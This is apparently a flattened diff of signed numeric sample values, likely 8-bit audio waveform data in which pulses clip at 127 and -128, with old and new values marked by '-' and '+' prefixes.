+-41 +-38 +-36 +-35 +-34 +-33 +-31 +-30 +-29 +-28 +-26 +-25 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +109 +104 +100 +97 +93 +90 +84 +80 +74 +69 +63 +58 +52 +47 +41 +37 +32 +28 +25 +21 +18 +16 +13 +12 +10 +8 +7 +5 +4 +2 +1 +0 +-1 +-2 +-4 +-5 +-6 +-6 +-7 +-8 +-9 +-9 +-9 +-10 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-104 +-97 +-107 +-102 +-96 +-74 +-85 +-81 +-77 +-72 +-68 +-65 +-62 +-58 +-55 +-52 +-50 +-48 +-46 +-43 +-42 +-40 +-38 +-36 +-35 +-34 +-32 +-31 +-30 +-29 +-28 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +109 105 100 96 +92 89 85 -79 -73 -67 --27 --89 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 +80 +74 +69 +63 +58 +52 +47 +41 +36 +32 +28 +24 +21 +17 +15 +13 +11 +9 +8 +6 +5 +4 +2 +2 +0 +-1 +-2 +-3 +-4 +-6 +-7 +-8 +-9 +-10 +-10 +-11 +-11 +-12 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-112 +-106 +-100 -96 --89 --82 -123 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -130 -116 -107 -100 +-74 +-84 +-80 +-76 +-72 +-68 +-65 +-62 +-59 +-55 +-53 +-50 +-48 +-45 +-43 +-41 +-39 +-37 +-36 +-35 +-33 +-32 +-31 +-30 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +110 +104 +99 97 -95 93 90 -88 +85 +80 +74 +69 +63 +57 +51 +46 +41 +37 +32 +29 +25 +22 +19 +16 +14 +11 +9 +8 +6 +5 +3 +2 +1 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-9 +-9 +-10 +-10 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-103 +-97 +-108 +-101 +-95 +-74 +-85 +-80 +-75 +-71 +-68 +-65 +-62 +-58 +-56 +-53 +-51 +-48 +-46 +-44 +-42 +-40 +-38 +-36 +-35 +-33 +-32 +-31 +-30 +-30 +-29 +-29 +-27 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +108 +104 +100 +96 +93 +89 +85 +80 +75 +70 +63 +57 +51 +-43 +-105 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-104 +-111 +108 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +115 +101 +92 +86 84 -81 +80 +78 76 +74 +70 +66 +61 +57 +52 +48 +42 +-51 +-112 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-104 +-98 +109 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +115 +101 +94 +86 +82 +80 +78 +75 +73 +69 +66 +61 +57 +52 +47 +42 +38 +32 +29 +25 +22 +19 +16 +13 +11 +9 +7 +6 +4 +3 +1 +0 +-1 +-2 +-3 +-5 +-6 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-10 +-11 +-12 +-12 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-104 +-97 +-107 +-102 +-96 +-74 +-86 +-81 +-77 +-73 +-68 +-64 +-62 +-58 +-55 +-52 +-50 +-48 +-46 +-43 +-42 +-40 +-38 +-36 +-36 +-35 +-32 +-30 +-30 +-29 +-28 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +109 +103 +99 +96 +92 +89 +85 +80 +74 +69 +63 +58 +51 +46 +41 +36 +31 +28 +24 +22 +18 +16 +14 +12 +10 +8 +6 +5 +3 +2 +0 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-8 +-8 +-9 +-9 +-10 +-10 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-105 +-98 +-106 +-101 +-96 +-75 +-85 +-80 +-76 +-72 +-68 +-65 +-62 +-59 +-55 +-52 +-50 +-48 +-45 +-43 +-42 +-41 +-39 +-36 +-34 +-34 +-33 +-30 +-30 +-28 +-27 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +116 +109 +104 +99 +97 +93 +89 +84 +80 +74 +69 +63 +57 +50 +46 +40 +36 +32 +28 +24 +21 +19 +16 +14 +12 +10 +8 +6 +5 +3 +2 +1 +-1 +-2 +-3 +-5 +-5 +-6 +-7 +-8 +-8 +-9 +-9 +-10 +-10 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +104 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +89 +83 +81 +79 +76 +73 71 +68 +65 +60 +55 +50 +46 +41 +-52 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-97 +-107 +-101 +-80 +-90 +-68 +-80 +-77 +-73 +-68 +-65 +-62 +-60 +-55 +-53 +-50 +-48 +-46 +-43 +-41 +-40 +-38 +-36 +-34 +-33 +-33 +-31 +-30 +-29 +-28 +-27 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +108 +103 +99 +97 +93 +90 +85 +80 +75 +70 +63 +58 +52 +47 +42 +37 +32 +29 +25 +22 +19 +16 +14 +12 +10 +8 +6 +4 +2 +2 +0 +0 +-1 +-3 +-4 +-4 +-6 +-6 +-7 +-8 +-9 +-10 +-10 +-10 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-98 +-108 +-101 +-95 +-74 +-86 +-66 +-76 +-72 +-69 +-65 +-62 +-58 +-55 +-53 +-51 +-48 +-46 +-43 +-42 +-40 +-37 +-36 +-35 +-33 +-32 +-30 +-30 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +117 +108 +103 +99 +96 +93 +90 +85 +80 +75 +70 +63 +58 +51 +46 +41 +36 +32 +28 +25 +22 +19 +17 +14 +12 +9 +8 +6 +5 +4 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-7 +-8 +-9 +-9 +-10 +-10 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-99 +-107 +-100 +-96 +-75 +-86 +-80 +-76 +-72 +-69 +-64 +-61 +-58 +-56 +-53 +-50 +-48 +-46 +-44 +-41 +-40 +-38 +-36 +-35 +-33 +-32 +-31 +-30 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +117 +109 +103 +99 +96 +93 +90 +85 +80 +74 +69 +63 +58 +51 +46 +41 +36 +32 +28 +24 +21 +18 +15 +12 +11 +10 +8 +6 +4 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-7 +-8 +-9 +-9 +-9 +-10 +-10 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-103 +-97 +-107 +-101 +-95 +-73 +-85 +-80 +-76 +-72 +-68 +-65 +-62 +-58 +-56 +-53 +-51 +-48 +-46 +-43 +-41 +-39 +-38 +-36 +-35 +-34 +-32 +-32 +-30 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +109 +104 +99 +96 +92 +89 +84 +80 +74 +69 +64 +58 +52 +-42 +-105 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-102 +-111 +108 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +115 +101 +92 +85 +82 +80 +78 +76 +73 +70 +66 +62 +58 +52 +47 +42 +37 +33 +29 +25 +22 +18 +16 +13 +10 +8 +7 +5 +4 +2 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-9 +-10 +-10 +-10 +-11 +-11 +-12 +-97 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-104 +100 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +98 +89 +84 +80 +78 +78 +74 +72 +68 +65 +61 +56 +51 +46 +41 +-51 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-99 +-107 +-100 +-79 +-91 +-70 +-80 +-76 +-73 +-69 +-65 +-61 +-59 +-56 +-53 +-50 +-48 +-45 +-44 +-42 +-40 +-38 +-37 +-36 +-33 +-32 +-31 +-30 +-29 +-27 +-26 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +109 +104 +99 +96 +93 +90 +85 +80 +75 +70 +63 +58 +52 +47 +42 +37 +32 +28 +24 +22 +18 +16 +13 +12 +10 +8 +6 +5 +3 +2 +0 +-1 +-2 +-2 +-4 +-5 +-6 +-7 +-7 +-8 +-9 +-9 +-10 +-10 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-104 +-97 +-107 +-100 +-95 +-74 +-85 +-80 +-76 +-72 +-68 +-64 +-61 +-59 +-56 +-52 +-50 +-48 +-47 +-44 +-42 +-40 +-38 +-36 +-34 +-33 +-33 +-31 +-30 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +116 +109 +104 +100 +97 +93 +89 +84 +80 +75 +69 +64 +58 +52 +46 +41 +36 +32 +29 +26 +22 +19 +16 +14 +12 +10 +8 +7 +5 +4 +2 +1 +0 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-9 +-10 +-10 +-10 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-97 +-106 +-101 +-95 +-74 +-85 +-80 +-76 +-73 +-68 +-65 +-62 +-59 +-56 +-53 +-51 +-48 +-46 +-44 +-41 +-39 +-38 +-36 +-34 +-33 +-32 +-32 +-30 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +109 +104 +99 +97 +93 +90 +84 +80 +75 +70 +64 +57 +52 +-43 +-105 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-103 +-112 +109 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +114 +100 +92 +86 +83 +80 +78 +76 +73 +70 +66 +61 +57 +52 +47 +42 +-51 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-98 +106 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +115 +101 +92 +85 +82 +80 +78 +75 +73 +70 +66 +62 +57 +51 +47 +41 +37 +32 +28 +24 +21 +18 +15 +12 +11 +9 +7 +6 +4 +3 +2 +0 +0 +-2 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-9 +-9 +-10 +-10 +-11 +-11 +-12 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +-97 +-107 +-101 +-96 +-74 +-85 +-81 +-76 +-72 +-69 +-66 +-63 +-60 +-56 +-53 +-51 +-48 +-46 +-43 +-42 +-40 +-38 +-36 +-35 +-34 +-32 +-31 +-30 +-28 +-27 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +109 +104 +100 +97 +93 +89 +84 +80 +75 +70 +64 +58 +53 +48 +42 +37 +32 +29 +25 +22 +19 +16 +13 +11 +9 +8 +6 +5 +3 +2 +1 +0 +-1 +-2 +-4 +-5 +-6 +-6 +-7 +-8 +-9 +-9 +-10 +-11 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-104 +-97 +-107 +-100 +-95 +-74 +-86 +-81 +-77 +-72 +-69 +-65 +-61 +-58 +-55 +-52 +-50 +-48 +-46 +-43 +-41 +-40 +-37 +-36 +-35 +-33 +-32 +-30 +-29 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +118 +108 +104 +99 +96 +92 +90 +85 +80 +74 +69 +63 +58 +52 +47 +41 +37 +32 +28 +25 +22 +19 +17 +14 +13 +10 +8 +6 +4 +3 +2 +0 +-1 +-2 +-3 +-4 +-4 +-5 +-6 +-7 +-8 +-9 +-9 +-10 +-10 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-105 +-112 +-107 +-101 +-96 +-74 +-85 +-80 +-77 +-72 +-67 +-64 +-61 +-59 +-55 +-52 +-50 +-48 +-46 +-44 +-42 +-40 +-38 +-36 +-35 +-34 +-32 +-32 +-31 +-30 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +110 +104 +100 +97 +93 +90 +85 +80 +75 +69 +63 +57 +52 +-43 +-105 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-103 +-112 +108 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +114 +101 +93 +86 +83 +80 +78 +76 +74 +70 66 62 57 52 47 -43 -39 -36 -33 -30 -28 -26 -23 -22 -20 -19 -17 -16 -15 -14 -13 -12 -11 -11 -9 -9 -8 -7 -7 -6 -5 -5 -4 -4 -3 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --91 --83 --91 --86 --80 --59 --70 --65 --62 --58 --53 +42 -50 --47 --43 --41 --38 --36 --33 --31 --29 --27 --25 --23 --21 --20 --18 --17 --16 --15 --14 --12 --11 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -132 -124 -118 -114 -111 -107 -105 -100 -95 -90 -84 +-112 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +-97 +108 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +101 +92 +86 +82 +80 78 +75 72 +69 66 61 56 -51 -47 -43 -40 -36 -33 -31 -28 -26 -24 -22 -21 -19 -18 -17 -15 -14 -13 -12 -11 -10 -9 -8 -8 -7 -6 -5 -5 -5 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 --97 --91 --85 --80 --59 --70 --65 --61 --57 --53 --50 --47 --43 --41 --37 --35 --33 --30 --28 --26 --24 --23 --21 --20 --19 --17 --16 --15 --14 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -133 -125 -119 -115 -112 -107 -104 -99 -95 -89 -84 -78 -73 -66 -62 -56 52 47 -43 -40 +42 +-51 +-112 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-107 +-98 +106 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +115 +101 +93 +86 +83 +80 +79 +76 +74 +69 +66 +61 +57 +52 +46 +41 37 -33 -31 +32 28 -26 24 -23 21 -20 18 -17 -15 -14 +16 13 -12 11 -10 9 8 -8 -7 -7 -5 -5 -5 +6 4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --88 --82 --92 +3 +1 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-9 +-10 +-10 +-11 +-12 +-12 +-12 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +-97 +-107 +-101 +-95 +-74 -85 -80 --59 --70 --66 --61 --57 --54 --50 --47 --44 --41 --38 --35 --33 --31 --28 --27 --24 --23 --21 --19 --18 --17 --16 --15 --14 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -124 -119 -115 -113 -109 -105 -100 -95 -90 -85 -78 -72 -67 -61 -56 -51 -47 -43 -39 -36 -33 -31 -28 -26 -24 -23 -21 -20 -18 -17 -15 -14 -13 -12 -11 -10 -9 -9 -8 -7 -6 -6 -5 -5 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --89 -116 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -128 -113 -103 -96 -93 -91 -90 -87 -85 -81 -78 -73 -69 -63 -59 -54 --39 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --91 --83 --92 --86 --65 -76 --55 +-72 +-68 -65 --62 +-61 -58 --54 +-56 +-53 -50 +-48 -46 -44 -41 +-39 -38 +-36 -35 -33 +-32 +-31 +-30 +-28 +-27 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +108 +103 +100 +97 +92 +89 +85 +80 +75 +69 +63 +58 +52 +48 +42 +37 +33 +29 +25 +22 +19 +16 +13 +12 +10 +8 +6 +4 +2 +1 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-8 +-8 +-9 +-9 +-10 +-11 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +-97 +-106 +-100 +-95 +-74 +-85 +-80 +-76 +-72 +-68 +-64 +-61 +-58 +-55 +-52 +-50 +-48 +-45 +-43 +-41 +-39 +-38 +-36 +-35 +-33 +-32 +-31 +-30 +-28 +-27 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +108 +103 +99 +97 +93 +89 +84 +80 +75 +70 +64 +58 +52 +-42 +-105 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-103 +-112 +108 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +114 +100 +92 +87 +82 +79 +78 +76 +74 +70 +66 +62 +58 +52 +47 +42 +37 +32 +28 +24 +21 +18 +15 +13 +12 +10 +8 +6 +4 +3 +2 +0 +-1 +-3 +-4 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-9 +-10 +-10 +-11 +-12 +-12 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-104 +-97 +-107 +-101 +-96 +-74 +-85 +-80 +-76 +-73 +-69 +-65 +-62 +-59 +-57 +-53 +-51 +-48 +-46 +-44 +-42 +-40 +-38 +-36 +-35 +-33 +-32 -31 -29 +-28 +-27 -26 --25 --23 --21 --19 --18 --17 --16 --14 --13 --12 --12 --11 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -133 -124 -119 -115 -113 -108 -105 -99 -95 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +109 +104 +100 +97 +93 90 85 -79 +80 +74 +69 +63 +58 +52 +47 +41 +36 +32 +28 +25 +22 +19 +17 +14 +12 +10 +8 +6 +5 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-98 +-106 +-100 +-96 +-75 +-85 +-80 +-77 +-73 +-69 +-65 +-62 +-59 +-56 +-53 +-50 +-48 +-46 +-43 +-42 +-39 +-38 +-37 +-35 +-33 +-32 +-31 +-30 +-29 +-28 +-27 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +108 +104 +100 +98 +94 +90 +84 +80 +74 +69 +63 +58 +51 +46 +41 +36 +32 +28 +24 +21 +18 +16 +13 +11 +9 +8 +6 +5 +3 +2 +0 +-1 +-2 +-4 +-5 +-6 +-7 +-7 +-8 +-9 +-9 +-9 +-10 +-10 +-10 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-105 +-98 +-108 +-100 +-95 +-74 +-86 +-81 +-76 +-72 +-69 +-65 +-61 +-58 +-55 +-53 +-50 +-47 +-46 +-43 +-41 +-40 +-38 +-36 +-34 +-33 +-33 +-32 +-31 +-29 +-28 +-28 +-27 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +109 +104 +100 +98 +94 +90 +86 +81 +76 +70 +63 +58 +52 +47 +41 +37 +32 +29 +25 +22 +19 +16 +14 +12 +10 +8 +6 +5 +3 +2 +1 +-1 +-1 +-2 +-4 +-5 +-5 +-6 +-7 +-8 +-9 +-9 +-10 +-11 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-103 +101 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +98 +90 +84 +82 +77 +75 73 -67 -62 +71 +68 +65 +60 +55 +50 +46 +41 +-52 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +-97 +-107 +-101 +-80 +-90 +-70 +-81 +-77 +-72 +-69 +-65 +-62 +-59 +-56 +-53 +-50 +-48 +-46 +-44 +-42 +-40 +-38 +-36 +-35 +-33 +-32 +-31 +-30 +-29 +-28 +-27 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +108 +103 +99 +96 +93 +89 +85 +80 +75 +70 +63 +58 +52 +47 +41 +36 +32 +28 +25 +22 +18 +16 +14 +12 +10 +8 +7 +5 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +103 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +113 +99 +90 +84 +81 +78 +76 +74 +72 +68 +64 +60 +55 +50 +46 +40 +-52 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-97 +-106 +-101 +-80 +-90 +-69 +-81 +-77 +-73 +-68 +-65 +-62 +-59 +-55 +-52 +-50 +-48 +-46 +-44 +-42 +-39 +-38 +-37 +-36 +-33 +-32 +-31 +-30 +-29 +-28 +-27 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +109 +104 +100 +98 +94 +90 +85 +81 +75 +70 +63 +58 +52 +47 +41 +36 +32 +28 +24 +22 +18 +16 +13 +11 +10 